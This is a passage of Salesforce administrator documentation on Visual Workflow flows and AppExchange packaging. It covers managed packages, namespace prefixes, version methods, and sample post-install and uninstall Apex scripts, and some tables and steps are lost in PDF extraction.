field and expand the GLOBAL CONSTANT section, youll see $GlobalConstant.True and $GlobalConstant.False.
However, when creating a variable of type Currency, the GLOBAL CONSTANT section isnt available. Visibility of this
section depends on the data type of the resource youre working with.
The global constants possible are:
1932
Create
Running Flows
See Also:
Flow Designer Resources
Running Flows
Available in: Enterprise, Unlimited, and Developer Editions
To run a flow as a user directly from the flow URL, or from Run Flows
a custom Web tab, link, or button pointing to the flow URL:
OR
Force.com Flow User field enabled on the user detail page
To run a flow from the flow detail page, list page, or from
Manage Force.com Flow
within the Cloud Flow Designer, or to run an inactive flow:
Flows are a collection of scripted screens that you can step through to collect and update data. For example, as a support
representative in a call center, you can use flows to capture information as you help troubleshoot customer issues. Or as a
salesperson, you can use flows to generate real-time quotes. You can even use flows to manipulate your organization's data in
new ways.
Depending on how flows are set up in your organization, you can run them directly from the flow URL in your browser, or
from a custom Web tab, link, or button pointing to the URL.
If your administrator hasn't defined custom Web tabs, links, or buttons for flows, you can find the direct flow URL by going
to Your Name > Setup > Create > Workflow & Approvals > Flows and clicking on the name of the flow you want to run.
Consider the following when running flows:
Don't use your browser's Back or Forward buttons to navigate through a flow. This may result in inconsistent data between
the flow and Salesforce.
A single flow may have up to 50 different versions. When you run a flow, you see the active version, which may not
necessarily be the latest version.
Flow administrators can also run flows directly from the flow detail page.
See Also:
About Visual Workflow
Putting Flows to Work
1933
Create
When creating, managing, and running flows, consider the permissions, use limits, and data issues.
The Cloud Flow Designer
Be careful when testing flows that contain Record Delete elements. Even if the flow is inactive, running it will trigger the
delete operation.
When entering a date value, you must use the MM/DD/YYYY format.
The Flow Designer doesn't support UTF-8 encoding for text in user input fields.
The Flow Designer uses the permissions and locale assigned to the current user.
The Cloud Flow Designer contains embedded fonts for all locales it supports. The supported locales are:
English (US)
French (France)
German (Germany)
Spanish (Spain)
Japanese (Japan)
Chinese (Traditional)
Chinese (Simplified)
If you enter unsupported characters for a supported locale, theyre displayed using system fonts instead of the embedded
fonts.
In unsupported locales, your system font settings are used to display all characters in the Cloud Flow Designer.
If the Cloud Flow Designer doesn't show a custom object or field that was recently created, close and reopen it.
If a user leaves a choice blank or unselected, its stored value is set to null.
If you have the same choice option used in more than one place on different screens in your flow, a was selected query on
that choice option will always resolve to the most recent one.
If you have the same choice option with a user input used in more than one place on the same screen, a was selected query
on that choice option will always resolve to the first one.
Dont enter the string null as the value of a text field in the Cloud Flow Designer. If you do this, you may not be able
to save the flow.
The Cloud Flow Designer cant open flows installed from managed packages.
If you open a flow from Winter 12, any Boolean decision it contains is converted to a multi-outcome Decision element
that:
Uses the same name as the old decision.
Takes the unique name of the old decision, appended with _switch.
Has an outcome labeled True. This outcomes unique name matches that of the old decision, and its conditions are
migrated from the True outcome of the old decision.
Has a default outcome labeled False.
1934
Create
Flow Administration
Only files with the .flow extension can be uploaded into Salesforce. To convert .spark files into .flow files, download
the latest version of the Flow Designer from the flow list page, open your file, and save it with the .flow extension.
Note: Desktop Flow Designer files with the .flow extension are different from and are incompatible with the
.flow files that are generated by the Metadata API for flows created from the Cloud Flow Designer.
If you exceed your organization's site usage limits or Visualforce usage limits, you can't run flows.
Once you edit the name and description of your flow in Salesforce, those fields no longer automatically update when you
upload or activate a new version.
When you activate a new version of a flow, the previously activated version (if one exists) is automatically deactivated. Flow
processes currently running continue to run using the version with which they were initiated.
You cant delete an active flow. Once deactivated, you must wait 12 hours to delete a flow or flow version. This ensures
that flows in progress have time to complete. Flows that have never been activated can be deleted immediately.
Flow Runtime
Don't use your browser's Back or Forward buttons to navigate through a flow. This may result in inconsistent data between
the flow and Salesforce.
A single flow may have up to 50 different versions. When you run a flow, you see the active version, which may not
necessarily be the latest version.
See Also:
About the Flow Designer
Clicking the next or previous buttons doesn't change the title of the screen, so you may not realize you're on a new page.
There are no labels on radio buttons. Screen readers can't distinguish between questions.
Questions without defined prompts may not read correctly.
Errors are not noted when reading the fields.
1935
Create
Element
Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or
collecting information from, flow users, or even querying, creating, updating, and deleting information in Salesforce. By
connecting elements together in the Flow Designer, you can create a flow, which is a series of screens, inputs, and outputs
through which users navigate.
Flow
A flow starts out as a process or decision diagram created in the Flow Designer. Once uploaded and run in Salesforce,
it becomes an application for navigating users through a series of screens.
Cloud Flow Designer
Cloud-based application that lets administrators create a flow for use in Salesforce.
Desktop Flow Designer
Desktop application that allows administrators to create a flow for use in Salesforce.
Master Flow
A master flow is a flow that contains a subflow element. The term master is used to distinguish it from the flow that
is referenced and called by the subflow element.
Resource
Resources, such as variables, constants, or formulas, allow you to store or manipulate data and use it throughout your
flow.
Subflow
A subflow element references another flow, which it calls at runtime. The flow that contains the subflow element is
referred to as the master flow.
See Also:
About the Flow Designer
About Visual Workflow
1936
Packages
Overview of Packages
PACKAGES
Overview of Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
A package is a container for something as small as an individual component or as large as a set of related apps. After creating
a package, you can distribute it to other Salesforce users and organizations, including those outside your company.
Packages come in two formsunmanaged and managed:
Unmanaged packages
Unmanaged packages are typically used to distribute open-source projects or application templates to provide developers
with the basic building blocks for an application. Once the components are installed from an unmanaged package, the
components can be edited in the organization they are installed in. The developer who created and uploaded the
unmanaged package has no control over the installed components, and can't change or upgrade them. Unmanaged
packages should not be used to migrate components from a sandbox to production organization. Instead, see Change
Sets on page 2212.
Managed packages
Managed packages are typically used by salesforce.com partners to distribute and sell applications to customers. These
packages must be created from a Developer Edition organization. Using the AppExchange and the License Management
Application (LMA), developers can sell and manage user-based licenses to the app. Managed packages are also fully
upgradeable. To ensure seamless upgrades, certain destructive changes, like removing objects or fields, can not be
performed.
Managed packages also offer the following benefits:
1937
Create
Glossary
While creating your app, consider how components and their attributes behave in different packages and Salesforce editions.
While preparing your app for distribution, consider how you want to release it to your customers.
While installing a package, consider your organization's security and license agreements.
It is also helpful to familiarize yourself with general packaging information, such as:
See Also:
Managing Packages
Preparing Your Apps for Distribution
Glossary
The following terms and definitions describe key application and packaging concepts and capabilities:
App
Short for application. A collection of components such as tabs, reports, dashboards, and Visualforce pages that address
a specific business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard
1938
Create
Glossary
apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with
related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to
other Salesforce users from the AppExchange.
AppExchange
The AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for
the Force.com platform.
Beta, Managed Package
In the context of managed packages, a beta managed package is an early version of a managed package distributed to a
sampling of your intended audience to test it.
Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce user
interface, you must select the Deployed option to make the functionality visible to other users.
The process by which an application or other functionality is moved from development to production.
To move metadata components from a local file system to a Salesforce organization.
For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a
custom object is deployed, it is only available to administrators and any users with the Customize Application permission.
License Management Application (LMA)
A free AppExchange app that allows you to track sales leads and accounts for every user who downloads your managed
package (app) from the AppExchange.
License Management Organization (LMO)
The Salesforce organization that you use to track all the Salesforce users who install your package. A license management
organization must have the License Management Application (LMA) installed. It automatically receives notification
every time your package is installed or uninstalled so that you can easily notify users of upgrades. You can specify any
Enterprise, Unlimited, or Developer Edition organization as your license management organization. For more information,
go to http://www.salesforce.com/docs/en/lma/index.htm.
Major Release
A significant release of a package. During these releases, the major and minor numbers of a package version increase to
any chosen value.
Managed Package
A collection of application components that is posted as a unit on the AppExchange and associated with a namespace
and possibly a License Management Organization. To support upgrades, a package must be managed. An organization
can create a single managed package that can be downloaded and installed by many different organizations. Managed
packages differ from unmanaged packages by having some locked components, allowing the managed package to be
upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed
packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property of
the developer.
Managed Package Extension
Any package, component, or set of components that adds to the functionality of a managed package. You cannot install
an extension before installing its managed package.
1939
Create
Glossary
Namespace Prefix
In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your
package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive.
For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all
Salesforce organizations. It keeps your managed package under your control exclusively.
Package
A group of Force.com components and applications that are made available to other organizations through the
AppExchange. You use packages to bundle an app along with any related components so that you can upload them to
AppExchange together.
Package Dependency
This is created when one component references another component, permission, or preference that is required for the
component to be valid. Components can include but are not limited to:
Permissions and preferences can include but are not limited to:
Divisions
Multicurrency
Record types
Package Installation
Installation incorporates the contents of a package into your Salesforce organization. A package on the AppExchange
can include an app, a component, or a combination of the two. After you install a package, you may need to deploy
components in the package to make it generally available to the users in your organization.
Package Version
A package version is a number that identifies the set of components uploaded in a package. The version number has the
format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to
a chosen value during every major release. The patchNumber is generated and updated only for a patch release.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A
package version has more significance for managed packages. Packages can exhibit different behavior for different versions.
Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package. See also Patch and Patch Development
Organization.
Patch
A patch enables a developer to change the functionality of existing components in a managed package, while ensuring
subscribing organizations that there are no visible behavior changes to the package. For example, you can add new
variables or change the body of an Apex class, but you may not add, deprecate, or remove any of its methods. Patches
are tracked by a patchNumber appended to every package version. See also Patch Development Organization and
Package Version.
1940
Create
Glossary
See Also:
What is an App?
1941
Create
Customize Application
To create packages:
To upload packages:
Creating a managed package is just as easy as creating an unmanaged package, but it requires a few customizations in your
organization first. The only requirement for enabling your Salesforce organization to create managed packages is that you are
using a Developer Edition organization.
To enable your organization for managed packages:
Review the information about managed packages in the Force.com Quick Reference for Developing Packages before
determining if this is the right type of package for your app.
Optionally, install the License Management Application (LMA) from http://sites.force.com/appexchange. Search for
License Management App to locate it. The License Management Application (LMA) tracks information about each
user who installs your app. It allows you to track what users have which version, giving you a means of distributing
information about upgrades.
The License Management Application (LMA) can be installed in any Salesforce organization except a Personal, Group,
or Professional Edition organization and does not need to be the same Salesforce organization that you use to create or
upload the package, although it can be. You can also use the same License Management Application (LMA) to manage
an unlimited number of your managed packages in different Developer Edition organizations.
Configure your developer settings. Your developer settings specify your namespace prefix, the Salesforce organization
where you install the License Management Application (LMA), and the unmanaged package you want to convert into a
managed package.
See Also:
Managing Packages
Converting Unmanaged Packages to Managed
Configuring Your Developer Settings
Registering a Namespace Prefix
Specifying a License Management Organization
1942
Create
A managed package is a collection of application components that are posted as a unit on AppExchange, and are associated
with a namespace and a License Management Organization.
You must use a Developer Edition organization to create and work with a managed package.
Managed packages are depicted by the following icons:
Managed - Beta
Managed - Released
Managed - Installed
Tip: To prevent naming conflicts, Salesforce recommends using managed packages for all packages that contain Apex.
This way, all of the Apex objects contain your namespace prefix. For example, if there is an Apex class called
MyHelloWorld and the namespace for your organization is OneTruCode, the class is referenced as
OneTruCode.MyHelloWorld.
Customize Application
To create packages:
To upload packages:
The developer settings in a Developer Edition organization allow you to create a single managed package, upload that package
to Force.com AppExchange, allowing other users to install and upgrade the package in their organization. After configuring
your developer settings the first time, you can no longer modify them. Regardless of the developer settings, you can always
create an unlimited number of unmanaged packages.
Before configuring your developer settings, review the requirements and steps in Enabling Managed Packages for Your
Organization on page 1942.
To configure your developer settings:
1943
Create
3. Review the selections necessary to configure developer settings, and click Continue.
4. Register a namespace prefix.
5. Choose the package you want to convert to a managed package. If you do not yet have a package to convert, leave this
selection blank and update it later.
6. Click Review My Selections.
7. Click Save.
Tip: You may want to specify a License Management Organization (LMO) for your managed package; to find out
more, go to http://sites.force.com/appexchange/publisherHome.
See Also:
Enabling Managed Packages for Your Organization
Registering a Namespace Prefix
Specifying a License Management Organization
Customize Application
To create packages:
To upload packages:
In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package
and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example,
ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce organizations.
It keeps your managed package under your control exclusively.
Salesforce automatically prepends your namespace prefix, followed by two underscores (__), to all unique component names
in your Salesforce organization. A unique package component is one that requires a name that no other component has within
Salesforce, such as custom objects, custom fields, custom links, s-controls, and validation rules. For example, if your namespace
1944
Create
prefix is abc and your managed package contains a custom object with the API name, Expense__c, use the API name
abc__Expense__c to access this object using the API. The namespace prefix is displayed on all component detail pages.
Caution: S-controls stored in the s-control library or the Documents tab that do not use the Force.com API still
function properly after you register a namespace prefix. However, s-controls stored outside of your organization or
s-controls that use the Force.com API to call Salesforce may require some fine-tuning. For more information, see
S-control in the Object Reference.
Your namespace prefix must:
Begin with a letter
Contain one to 15 alphanumeric characters
Not contain two consecutive underscores
3.
4.
5.
6.
7.
8.
Review the selections necessary to configure developer settings and click Continue.
Enter the namespace prefix you want to register.
Click Check Availability to determine if it is already in use.
Repeat if the namespace prefix you entered is not available.
Click Review My Selections.
Click Save.
See Also:
Enabling Managed Packages for Your Organization
Configuring Your Developer Settings
Specifying a License Management Organization
A license management organization is a Salesforce organization that you use to track all Salesforce users who install your
managed package. The license management organization receives notification (in the form of a lead record) when a user installs
or uninstalls your package and tracks each package upload on Force.com AppExchange.
1945
Create
Managing Packages
Your license management organization can be any Salesforce Enterprise, Unlimited, or Developer Edition organization that
has installed the free License Management Application (LMA) from AppExchange. To specify a License Management
Organization, go to http://sites.force.com/appexchange/publisherHome.
See Also:
Enabling Managed Packages for Your Organization
Configuring Your Developer Settings
Registering a Namespace Prefix
Managing Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Packages are a collection of Force.com components and applications that are made available to other organizations through
the AppExchange. A managed package is a collection of application components that are posted as a unit on AppExchange,
and are associated with a namespace and a License Management Organization. To support upgrades, a package must be
managed. An organization can create a single managed package that can be downloaded and installed by many different
organizations. Managed packages differ from unmanaged packages by having some locked components, allowing the managed
package to be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition,
managed packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property
of the developer.
For details, see the Force.com Quick Reference for Developing Packages.
To manage your packages, click Your Name > Setup > Create > Packages. For more customization, see Configuring Your
Developer Settings on page 1943.
From the list of packages, you can do any of the following:
Click New to create a new package, enter a package name and description, and click Save to store it in your list of packages.
1946
Create
Managing Packages
Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.
See Also:
Overview of Packages
Viewing Package Details
Creating or Editing a Package
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. Unmanaged packages are
not upgradeable, so each package version is simply a set of components for distribution. A package version has more significance
for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to
evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing
customer integrations using the package.
Version numbers depend on the package release type, which identifies the way packages are distributed. There are two kinds:
Major Release
A major release denotes a Managed - Released package. During these releases, the major and minor numbers of a
package version increase to a chosen value.
Patch Release
A patch release is only for patch versions of a package. During these releases, the patch number of a package version
increments.
When an existing subscriber installs a new package version, there is still only one instance of each component in the package,
but the components can emulate older versions. For example, a subscriber may be using a managed package that contains an
Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber
still sees only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the
previous version for any code that references the deprecated method in the older version.
Package developers can use conditional logic in Apex classes and triggers to exhibit different behavior for different versions.
This allows the package developer to continue to support existing behavior in classes and triggers in previous package versions
while continuing to evolve the code.
1947
Create
Managing Packages
When you are developing client applications using the API, you can specify the version of each package that you use in your
integrations.
See Also:
Managing Packages
Planning the Release of Managed Packages
Developer's Guide: Force.com Apex Code Developer's Guide
Developer's Guide: Web Services API Developer's Guide
An app can contain many different components and you can create, upload, and register your apps on your own timeline. To
group components in a container to upload to Force.com AppExchange, create a package and add components to the package.
A package is the container for the app that you must use to upload all its components together.
Tip: Before you begin, determine if you want to create and upload a managed or unmanaged package.
7. Optionally, enter a description that describes the package. You will have a chance to change this description before you
upload it to AppExchange.
1948
Create
Managing Packages
8. Optionally, specify a post install script. This is an Apex script that runs in the subscriber organization after the package is
installed or upgraded. For more information, see Running Apex on Package Install/Upgrade.
9. Optionally, specify an uninstall script. This is an Apex script that runs in the subscriber organization after the package is
uninstalled. For more information, see Running Apex on Package Uninstall.
10. Click Save.
After you create a package you can do any of the following:
See Also:
Viewing Package Details
Preparing Your Apps for Distribution
After you have created a package, you need to add components to it, such as app, object, Apex classes or Visualforce pages.
These packages can be uploaded to share with others privately or posted on Force.com AppExchange to share publicly.
To add components to a package, click Your Name > Setup > Create > Packages and select the name of the package you
want to add components to. From the package detail page:
1. Click Add.
2. From the drop-down list, choose the type of component you want to add to your package.
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
If available, click the Next Page (or Previous Page) link to go to the next or previous set of components.
If available, click fewer or more at the bottom of the list to view a shorter or longer display list.
1949
Create
Managing Packages
See Also:
Managing Packages
Viewing Package Details
Preparing Your Apps for Distribution
Protected Components
Developers can mark certain components as protected. Protected components cannot be linked to or referenced by components
created in a subscriber organization. A developer can delete a protected component in a future release without worrying about
failing installations. However, once a component is marked as unprotected and is released globally, the developer cannot delete
it.
The developer can mark the following components as protected in managed packages:
Custom labels
Custom links (for Home page only)
Workflow alerts
Workflow field updates
Workflow outbound messages
Workflow tasks
Developers can use permission sets or profile settings to grant permissions and other access settings to a package. When
deciding whether to use permission sets, profile settings, or a combination of both, consider the similarities and differences.
Behavior
Permission Sets
Profile Settings
Assigned apps
Tab settings
Page layout assignments
Record type assignments
Custom object permissions
Custom field permissions
Apex class access
Visualforce page access
1950
Create
Managing Packages
Behavior
Permission Sets
Profile Settings
Yes.
No.
Yes.
No.
No.
No.
No.
No. Subscribers must assign permission Yes. Profile settings are applied to
sets after installation.
existing profiles in the subscriber's
organization on install or upgrade. Only
permissions related to new components
created as part of the install or upgrade
are applied.
What are the user license requirements? A permission set is only installed if the None. In a subscriber organization, the
subscriber organization has at least one installation overrides the profile settings,
user license that matches the permission not their user licenses.
set. For example, permission sets with
the Salesforce Platform user license aren't
installed in an organization that has no
Salesforce Platform user licenses. If a
subscriber subsequently acquires a license,
they must reinstall the package to get the
permission sets associated with the newly
acquired license.
How are they assigned to users?
Best Practices
Use permission sets in addition to packaged profiles so your subscribers can easily add new permissions for existing app
users.
If users need access to apps, tabs, page layouts, and record types, don't use permission sets as the sole permission-granting
model for your app. (Assigned apps and tab settings are available in the permission set user interface, but they arent included
in permission set package components.)
1951
Create
Click Your Name > Setup > Create > Packages and click the name of a package to view its details, including any added
components, whether it is a managed package, if the package has been uploaded, and so on.
The detail page has the following sections:
Package Detail
Components tab
Versions tab
Patch Organizations tab
Remote Access tab
From the Package Detail page, you can do any of the following:
Click Edit to change the package name, custom link that displays when users click Configure, or description.
Click Delete to delete the package. This does not delete the components contained in the package but the components
will no longer be bundled together within this package.
Click Upload to upload the package. You will receive an email when the upload is complete. For more information, see
Managing Versions on page 1969. For more information on the entire process, see Preparing Your Apps for Distribution
on page 1965.
Optionally, you can enable, disable, or change the access that components in the package have to standard objects in the
installing organization by using the links next to API Access. For more information about API access, see Managing
API and Dynamic Apex Access in Packages on page 1768.
Description
API Access
The type of access that the API and dynamic Apex that
package components have. The default setting is Unrestricted,
which means that all package components that access the API
have the same access as the user who is logged in. Click Enable
Restrictions or Disable Restrictions to change the API and
dynamic Apex access permissions for a package.
For more information about API access and the access dynamic
Apex have for managed package components, see Managing
API and Dynamic Apex Access in Packages on page 1768.
1952
Create
Attribute
Description
Created By
Description
Language
Last Modified By
Package Name
Type
Uninstall Script
The Apex code that runs after this package is uninstalled. For
more information, see Running Apex on Package Uninstall.
Some related components are automatically included in the package even though they may not display in the
Package Components list. For example, when you add a custom object to a package, its custom fields, page layouts,
and relationships with standard objects are automatically included. For a complete list of components Salesforce
automatically includes, see Developing Packages for Distribution.
When you package a joined report, each block is included in the package. Although the blocks appear in the package
as reports, when you click on a block, you see an error message that you have insufficient privileges to view the
report. This is expected behavior. Instead, click on the name of the joined report to run it.
1953
Create
Click View Dependencies to review a list of components that rely on other components, permissions, or preferences within
the package. An entity may include such things as an s-control, a standard or custom field, or an organization-wide setting
like multicurrency. Your package cannot be installed unless the installer has the listed components enabled or installed. For
more information on dependencies, see Understanding Dependencies on page 1970. Click Back to Package to return to the
Package detail page.
Click View Deleted Components to see which components were deleted from the package across all of its versions.
The following component information is displayed (in alphabetical order):
Attribute
Description
Action
Lists the actions you can perform on the component. The only
choice is Remove, which removes the component from an
unreleased package.
Available in Versions
Included By
Name
Owned By
Parent Object
Type
Description
Action
Lists the actions you can perform on the package. The possible
actions are:
Deprecate: Deprecates a package version.
1954
Create
Attribute
Description
Caution: Users will no longer be able to download
or install this package. However, existing
installations will continue to work.
Status
Version Name
The version name for this package version. The version name
is the marketing name for a specific release of a package. It is
more descriptive than the Version Number.
Version Number
Description
Action
Administrator Username
Remote Access
For package developers, the Remote Access tab lists all the remote access applications created as part of this package.
1955
Create
Click New to create a new remote access application to be included as part of this package.
The following remote access information is displayed (in alphabetical order):
Attribute
Description
Name
Version
See Also:
Creating or Editing a Package
Preparing Your Apps for Distribution
Managing Packages
All packages are unmanaged until you convert them to managed packages. This requires managed packages created in a
Developer Edition organization. You may prefer developing managed packages because you can beta test them before a release
and offer upgrades for them.
Before creating a package, determine the development process you aim to take so that you can choose the most appropriate
type of package for your process:
Developing Unmanaged Packages
Design your app. See the Force.com Quick Reference for Developing Packages.
Package and upload your app
Design your app. See the Force.com Quick Reference for Developing Packages.
Package and upload a beta version of your app
Gather feedback from your beta testers and make the appropriate fixes to your app
Package and upload your final version of the app
See Also:
Planning the Release of Managed Packages
Managing Packages
Creating and Uploading Patches
1956
Create
Description
Unmanaged
The package has not been converted into a managed package or the component
has not been added to a managed package. Note that a component that is Managed
- Beta can become Unmanaged if it is removed from a managed package. All
packages are unmanaged unless otherwise indicated by one of the managed icons
below.
Managed - Beta
The package or component was created in the current Salesforce organization and
is managed, but it is not released because of one of these reasons:
It has not been uploaded.
It has been uploaded with Managed - Beta option selected. This option
prevents it from being published, publicly available on AppExchange. The
developer can still edit any component but the installer may not be able to
depending on which components were packaged..
Managed - Released
The package or component was created in the current Salesforce organization and
is managed. It is also uploaded with the Managed - Released option selected,
indicating that it can be published on AppExchange and is publicly available. Note
that once you have moved a package to this state, some properties of the components
are no longer editable for both the developer and installer.
This type of release is considered a major release.
Patch
Managed - Installed
The package or component was installed from another Salesforce organization but
is managed.
A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may
involve redesigning some of the components in the managed package. Developers cannot delete some components in a Managed
- Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the
component, while the component continues to function for existing subscribers and API integrations.
1957
Create
For more information on developing and releasing packages, see the Force.com Quick Reference for Developing Packages.
See Also:
Managing Packages
Determining Your Development Process
After you've uploaded a Managed - Released package, you may find that a component needs to be deleted from your
organization. One of the following situations may occur:
The component can be deleted, but can only be undeleted from the Deleted Package Components page.
The component can be deleted, but can be undeleted from either the Deleted Package Components page or through the
Recycle Bin
To access the Deleted Package Components page, click Your Name > Setup > Create > Packages, select the package the
component was uploaded to, then click View Deleted Components. If a component can be retrieved through the Recycle
Bin, it can also be retrieved through this page. You can retrieve the following types of components from here:
Custom labels
Custom links (for Home page only)
Workflow alerts
Workflow field updates
Workflow outbound messages
Workflow tasks
Data components, such as Documents, Dashboards, and Reports. These are the only types of components that can also
be undeleted from the Recycle Bin
1958
Create
You can retrieve components from the Recycle Bin and Deleted Package Components page any time before uploading a new
version of the package. To do this, click Undelete next to the component.
After a package is uploaded with a component marked for deletion, it is deleted forever.
Caution: Although a component is deleted, its Name remains within Salesforce. You can never create another
component with the same name. The Deleted Package Components page lists which names can no longer be used.
The Deleted Components displays the following information (in alphabetical order):
Attribute
Description
Action
Available in Versions
Name
Parent Object
Type
The following changes are allowed to custom fields in a package, after it is released.
1959
Create
The post install script is invoked after tests have been run, and is subject to default governor limits. It runs as a special system
user that represents your package, so all operations performed by the script appear to be done by your package. You can access
this user by using UserInfo. You will only see this user at runtime, not while running tests.
If the script fails, the install/upgrade is aborted. Any errors in the script are emailed to the user specified in the Notify on Apex
Error field of the package. If no user is specified, the install/upgrade details will be unavailable.
The post install script has the following additional properties.
The onInstall method takes a context object as its argument, which provides the following information.
The context argument is an object whose type is the InstallContext interface. This interface is automatically implemented
by the system. The following definition of the InstallContext interface shows the methods you can call on the context
argument.
global interface InstallContext {
ID organizationId();
ID installerId();
Boolean isUpgrade();
Boolean isPush();
Version previousVersion();
}
1960
Create
the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a
chosen value during every non-patch release. Major and minor number increases will always use a patch number of 0.
The following are instance methods for the System.Version class.
Method
Arguments
Return Type
compareTo
Description
Compares the current version with the
specified version and returns one of the
following values:
Zero if the current package version is
equal to the specified package version
An Integer value greater than zero if the
current package version is greater than
the specified package version
An Integer value less than zero if the
current package version is less than the
specified package version
If a two-part version is being compared to
a three-part version, the patch number is
ignored and the comparison is based only
on the major and minor numbers.
major
Integer
minor
Integer
patch
Integer
The System class contains two methods that you can use to specify conditional logic, so different package versions exhibit
different behavior.
System.requestVersion: Returns a two-part version that contains the major and minor version numbers of a package.
Using this method, you can determine the version of an installed instance of your package from which the calling code is
referencing your package. Based on the version that the calling code has, you can customize the behavior of your package
code.
System.runAs(System.Version): Changes the current package version to the package version specified in the
argument.
When a subscriber has installed multiple versions of your package and writes code that references Apex classes or triggers in
your package, they must select the version they are referencing. You can execute different code paths in your packages Apex
code based on the version setting of the calling Apex code making the reference. You can determine the calling codes package
version setting by calling the System.requestVersion method in the package code.
For more information, including a code example, see Version Methods in the Force.com Apex Code Developer's Guide.
1961
Create
If the previous version is null, that is, the package is being installed for the first time, the script:
Creates a new Account called Newco and verifies that it was created
Creates a new instance of the custom object Survey, called Client Satisfaction Survey
Sends an email message to the subscriber confirming installation of the package
If the previous version is 1.0, the script creates a new instance of Survey called Upgrading from Version 1.0
If the package is an upgrade, the script creates a new instance of Survey called Sample Survey during Upgrade
If the upgrade is being pushed, the script creates a new instance of Survey called Sample Survey during Push
global class PostInstallClass implements InstallHandler {
global void onInstall(InstallContext context) {
if(context.previousVersion() == null) {
Account a = new Account(name='Newco');
insert(a);
Survey__c obj = new Survey__c(name='Client Satisfaction Survey');
insert obj;
User u = [Select Id, Email from User where Id =:context.installerID()];
String toAddress= u.Email;
String[] toAddresses = new String[]{toAddress};
Messaging.SingleEmailMessage mail =
new Messaging.SingleEmailMessage();
mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package install successful');
mail.setPlainTextBody('Thanks for installing the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });
}
else
if(context.previousVersion().compareTo(new Version(1,0)) == 0) {
Survey__c obj = new Survey__c(name='Upgrading from Version 1.0');
insert(obj);
}
if(context.isUpgrade()) {
Survey__c obj = new Survey__c(name='Sample Survey during Upgrade');
insert obj;
}
if(context.isPush()) {
Survey__c obj = new Survey__c(name='Sample Survey during Push');
insert obj;
}
}
}
You can test a post install script using the new testInstall method of the Test class. This method takes the following
arguments.
1962
Create
This sample shows how to test a post install script implemented in the PostInstallClass Apex class.
@isTest
static void testInstallScript() {
PostInstallClass postinstall = new PostInstallClass();
Test.testInstall(postinstall, null);
Test.testInstall(postinstall, new Version(1,0), true);
List<Account> a = [Select id, name from Account where name ='Newco'];
System.assertEquals(a.size(), 1, 'Account not found');
}
The onUninstall method takes a context object as its argument, which provides the following information.
1963
Create
The context argument is an object whose type is the UninstallContext interface. This interface is automatically implemented
by the system. The following definition of the UninstallContext interface shows the methods you can call on the context
argument.
global interface UninstallContext {
ID organizationId();
ID uninstallerId();
}
You can test an uninstall script using the testUninstall method of the Test class. This method takes as its argument a
class that implements the UninstallHandler interface.
This sample shows how to test an uninstall script implemented in the UninstallClass Apex class.
@isTest
static void testUninstallScript() {
Id UninstallerId = UserInfo.getUserId();
List<FeedItem> feedPostsBefore =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
Test.testUninstall(new UninstallClass());
List<FeedItem> feedPostsAfter =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
System.assertEquals(feedPostsBefore.size() + 1, feedPostsAfter.size(),
'Post to uninstaller failed.');
}
1964
Create
To upload packages:
When you are ready to distribute your package, determine if you want to release a managed or unmanaged package. For more
information about the different types of releases, see Developing Packages for Distribution.
1. Create a package:
a.
b.
c.
d.
e.
g. Optionally, enter a description that describes the package. You will have a chance to change this description before you
upload it to AppExchange.
1965
Create
h. Optionally, specify a post install script. This is an Apex script that runs in the subscriber organization after the package
is installed or upgraded. For more information, see Running Apex on Package Install/Upgrade.
i. Optionally, specify an uninstall script. This is an Apex script that runs in the subscriber organization after the package
is uninstalled. For more information, see Running Apex on Package Uninstall.
j. Click Save.
2. Salesforce sets your package API access privileges to Unrestricted. You can change this setting to further restrict API
access of Salesforce components in the package. For more information, see Managing API and Dynamic Apex Access in
Packages on page 1768.
3. Add the necessary components for your app.
a. Click Add.
b. From the drop-down list, choose the type of component you want to add to your package.
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
If available, click the Next Page (or Previous Page) link to go to the next or previous set of components.
If available, click fewer or more at the bottom of the list to view a shorter or longer display list.
Some related components are automatically included in the package even though they may not display in the
Package Components list. For example, when you add a custom object to a package, its custom fields, page
layouts, and relationships with standard objects are automatically included. For a complete list of components
